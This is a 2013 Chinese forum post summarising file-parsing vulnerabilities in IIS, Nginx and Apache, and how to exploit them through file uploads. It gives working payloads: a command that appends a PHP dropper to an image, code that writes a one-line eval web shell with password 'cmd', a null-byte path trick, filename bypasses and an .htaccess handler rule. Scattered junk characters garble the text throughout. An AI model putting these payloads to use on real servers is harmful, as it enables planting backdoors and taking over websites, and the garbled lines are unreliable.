找回密码
 立即注册
查看: 3088|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
2 D. p, Z, ~0 U) [[+]IIS6.0
) _  q. ^' C* l( j) r 7 P2 o! m" P1 D- C
目录解析:/xx.asp/xx.jpg
; a. h4 w$ s! w$ M xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
0 o" W- r  C/ B$ u7 V; ^% h& D IIS6.0 会将 xx.jpg 解析为 asp 文件。
1 D) J4 e* V2 w" M" O, r# x4 y" r8 y' f后缀解析:/xx.asp;.jpg     
# o- t" v( Y2 E9 w5 C4 U IIS6.0 都会把此类后缀文件成功解析为 asp 文件。  r/ m+ e4 Q6 W* m5 d% j! n
默认解析:/xx.asa4 U3 c- W& ?6 k2 G" ?& u/ j) V9 f
         /xx.cer
8 g/ }4 f, b. v         /xx.cdx
& b- @( E; b( n' J+ L) p0 V# J IIS6.0 默认的可执行文件除了 asp 还包含这三种
2 X" E0 w' I" i, ` 此处可联系利用目录解析漏洞 1 e0 ^6 \  {: Q* V
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
/ X) @9 x, V9 V9 ^& M1 @8 {3 A8 a% d[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
0 h% v; P9 \( V6 f) S9 z
: W$ E8 g$ o& w8 [  R! J IIS 7.0/IIS 7.5/Nginx <0.8.03# G1 R' q3 g6 n
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
% u8 T+ ?5 G0 I/ `7 e1 r 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。$ g8 C) k- i$ \) x% {: x
常用利用方法:
5 N9 m6 W) i4 U7 i% }; I 将一张图和一个写入后门代码的文本文件合并将恶意文本; j7 z9 s2 N) R+ b  R" N" \
写入图片的二进制代码之后,避免破坏图片文件头和尾
" O. j' ^0 i" V; _$ U: Z2 q 如:
/ h, X. r  p: l copy xx.jpg /b + yy.txt/a xy.jpg, q: L4 C: f" p- `8 W+ k; i
#########################################################( t; k9 U+ H$ p
/b 即二进制[binary]模式) Q( g% X+ Y- I; V9 F4 U4 t
/a 即ascii模式$ w; m3 y! e- o" I
xx.jpg 正常图片文件* R, Q6 k" R# R& X
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
; Z) x1 v  @4 G1 ~9 `4 t% j '<?php eval($_POST[cmd])?>');?>+ R& E0 a5 I. G$ s* G1 `
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
' x& H$ T. Z  h2 T 为shell.php的文件- c3 j- r8 c% r9 K& `9 m
###########################################################2 F4 J3 ]/ N" t5 K- J6 D
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
: c1 p9 @# h5 ^, t0 y  Y 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
% o9 S+ w- X" J# f* f7 ]* m: K 密码 cmd
) E/ o% X' s+ X( K2 m, }[+]Nginx <0.8.03
% `3 F  n: ~9 O" u) j0 I0 t3 a$ C$ ~ / e2 L7 i/ j% `! k1 ~+ P& w
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
9 G. A$ |/ T  }1 n% j& \! ~) J 在一个文件路径(/xx.jpg)后面加上%00.php
' E0 Y# S, f: H( U 会将 /xx.jpg%00.php 解析为 php 文件。$ a# D& Q. a7 d/ z/ d
[+]Apache<0.8.03, E9 U: z' C$ P# U) b; \* G
4 @+ U% }) v: T5 a" ~
后缀解析:test.php.x1.x2.x33 @- s: s7 f) L/ w1 @1 z, g
Apache将从右至左开始判断后缀,若x3非可识别后缀,4 T$ Y7 Z2 Y6 X6 n1 I
再判断x2,直到找到可识别后缀为止,然后将该可识别
. B- _9 r8 V  l# ~0 k- i, Q 后缀进解析test.php.x1.x2.x3 则会被解析为php
; L) K5 o' O7 j. g* S. ? 经验之谈:php|php3|phtml 多可被Apache解析。
( w! q6 h% s( u) W9 f[+]其他一些可利用的1 o# n( k' \( v
# y+ ?2 I) [1 {1 d  }( ]
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
1 f$ |7 G0 w! J若这样命名,windows会默认除去空格或点,这也是可以被利用的!4 N1 @% c8 q' Y/ r. P3 e
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
/ b" S5 `% u. L( }或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
7 c6 `; E( C! F4 S, S得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
; u7 s+ R! `% r/ c5 [{Linux主机中不行,Linux允许这类文件存在}% x' z( m2 |8 f6 ]. [" V
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说6 L% m% c* `$ }6 Q1 o
的,当初我并不知道),且可以被上传,那可以尝试在* g8 ^5 X; F4 C1 v/ Q( p: c$ r
.htaccess中写入:
1 _" e: a- v0 ^# P6 _# ]' [<FilesMatch “shell.jpg”> $ X/ F9 A- \& n3 }
SetHandler application/x-httpd-php
8 _1 k7 O- L% s' I</FilesMatch>- l/ i; W' k; k$ ]7 r
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件  @& ^" p7 \' k, h* U  ?
[+]错误修改
: U6 S/ N5 R4 o( G( s: u 4 ~7 {; L: z5 [; _. y1 G
在 IIS 6.0 下可解析 /xx.asp:.jpg  L. _( w& T  p/ E
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去$ a6 ]  G1 z+ k$ a' N. E. l
剩下/xx.asp}修改:
! a5 B! S3 p: p! z先谢谢核攻击的提醒1 P% R/ J$ w: r. c- f
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
8 p# O7 U2 P- g/ @2 L* p7 f# t里是没有任何内容的,因为。。不好解释 大家自己看
4 d! l4 P/ r  A" {http://lcx.cc/?i=2448
4 u$ H( D  x1 U. P; |0 Whttp://baike.baidu.com/view/3619593.htm
* d! ^8 W1 g: ?9 B  E7 |
1 e. b7 C. X  q7 O+ w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表